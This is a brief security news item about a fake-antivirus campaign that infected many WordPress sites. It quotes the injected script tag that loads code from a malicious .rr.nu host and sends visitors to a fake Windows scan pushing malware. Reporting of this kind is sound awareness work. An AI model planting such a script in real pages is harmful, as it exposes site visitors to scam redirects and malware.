Fake Antivirus Exploit: More Than 200,000 Websites Have Been Infected

Fake Antivirus Exploit: More Than 200,000 Websites Have Been Infected 
More than 200,000 websites with fake anti-virus software, almost 30,000 unique sites has already been compromised with this fake anti-virus exploit. According to computer security group Websense, the exploit, which mostly affects sites built with WordPress, places a short piece of injected code at the bottom of a page:-
</DIV><!--END body=wrapper ==>
<script src="http://ionis901andsi.rr.nu/mm.php?d=1"></script>

When a user loads the page, they're redirected to a page in the .rr.nu top-level domain that mimics a Windows security scan, then asks them to download a malicious program to supposedly clear viruses from their computer. It's a scam that's been running in various forms for years, and Websense says it's been tracking this particular threat for several months.
Although the source of the malware is unknown, over 85% of the affected sites are from the United States, and Sucuri Security has traced many of the cases to old WordPress installs, weak passwords, or vulnerable and malicious plugins. According to several reports the exploit isn't as widespread as something like DNSChanger. However, for anyone who runs WordPress software, it's something to watch out for.
Earlier in 2011 we have also seen such scenario when 614,000 webpages comromised with mass ASP.NET Infection, also Willysy malware Infects More than 6 Million WeSites, Lilupophilupop Attack took 1 Million+ Web-pages and so on.

-Source (The Verge)


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